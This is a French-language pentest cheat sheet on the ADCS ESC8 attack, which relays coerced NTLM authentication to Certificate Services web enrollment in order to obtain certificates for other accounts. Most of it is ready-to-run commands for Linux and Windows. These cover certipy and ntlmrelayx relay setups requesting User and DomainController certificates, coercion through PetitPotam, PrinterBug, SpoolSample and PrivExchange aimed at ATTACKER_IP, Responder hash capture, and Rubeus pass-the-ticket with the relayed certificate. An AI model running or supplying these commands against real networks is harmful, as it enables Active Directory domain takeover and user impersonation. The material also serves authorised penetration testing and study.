### Description
ESC8 exploite des endpoints web HTTP de l'autorité de certification (comme les pages d'enrollment web ou les interfaces ADCS) qui utilisent une authentification NTLM, permettant des attaques de relay NTLM pour obtenir des certificats au nom d'autres utilisateurs, notamment en combinaison avec des techniques de coercition.
### Conditions vulnérables
Une CA est vulnérable à ESC8 si :
1. **Endpoints HTTP disponibles** - Services web ADCS exposés (IIS avec enrollment web)
2. **Authentification NTLM** - Les endpoints utilisent l'authentification NTLM au lieu de Kerberos
3. **Templates d'authentification** - Des modèles permettant l'authentification client sont disponibles
4. **Pas de protection EPA/Channel Binding** - Absence de Extended Protection for Authentication
---
### Exploitation depuis linux (certipy + impacket)
Enumération des endpoints web ADCS :
```bash
certipy find -u
[email protected] -p password -target dc01.domain.local
# Énumération spécifique des endpoints web
certipy find -u
[email protected] -p password -target dc01.domain.local -web -vulnerable
# Recherche manuelle des endpoints
nmap -p 80,443,8080 --script http-enum dc01.domain.local
curl -k https://dc01.domain.local/certsrv/ -I
```
Mise en place du serveur de relay :
```bash
# Démarrage d'un serveur de relay NTLM ciblant l'endpoint ADCS
impacket-ntlmrelayx -t https://dc01.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template User
# Avec un template spécifique
impacket-ntlmrelayx -t https://dc01.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```
Coercition d'authentification :
```bash
# Coercition via PetitPotam
python3 PetitPotam.py -u user -p password ATTACKER_IP dc01.domain.local
# Coercition via PrinterBug
python3 printerbug.py domain.local/user:
[email protected] ATTACKER_IP
# Coercition via PrivExchange
python3 privexchange.py -u user -p password -t https://dc01.domain.local/certsrv/certfnsh.asp exchange.domain.local
```
Exploitation avec certipy directement :
```bash
# Utilisation de certipy pour l'attaque relay complète
certipy relay -ca http://dc01.domain.local/certsrv/certfnsh.asp -template User -target dc01.domain.local
# Avec coercition intégrée
certipy relay -ca http://dc01.domain.local/certsrv/certfnsh.asp -template DomainController -target dc01.domain.local -coerce
```
---
### Exploitation depuis windows (responder + relay tools)
Enumération des endpoints web ADCS :
```powershell
# Énumération des services web ADCS
Certify.exe find /vulnerable | findstr "Web Endpoints"
# Test manuel des endpoints
Invoke-WebRequest -Uri "https://dc01.domain.local/certsrv/" -UseDefaultCredentials
Test-NetConnection -ComputerName dc01.domain.local -Port 80,443
```
Configuration du relay avec Responder :
```bash
# Démarrage de Responder pour capturer les hashs
responder -I eth0 -w -f
# Dans un autre terminal, relay vers ADCS
impacket-ntlmrelayx -t https://dc01.domain.local/certsrv/certfnsh.asp --adcs --template User -smb2support
```
Coercition depuis Windows :
```powershell
# Utilisation de SpoolSample pour coercition
SpoolSample.exe dc01.domain.local ATTACKER_IP
# Utilisation de PetitPotam
PetitPotam.exe ATTACKER_IP dc01.domain.local
# Coercition via RPC calls
Invoke-SpoolerService -ComputerName dc01.domain.local -CaptureServer ATTACKER_IP
```
Exploitation avec des outils .NET :
```powershell
# Utilisation de Certify pour exploitation directe si possible
Certify.exe request /ca:dc01.domain.local\CA-Name /template:User /web
# Combination avec Rubeus pour l'authentification finale
Rubeus.exe asktgt /user:victim /certificate:relayed_cert.pfx /ptt
```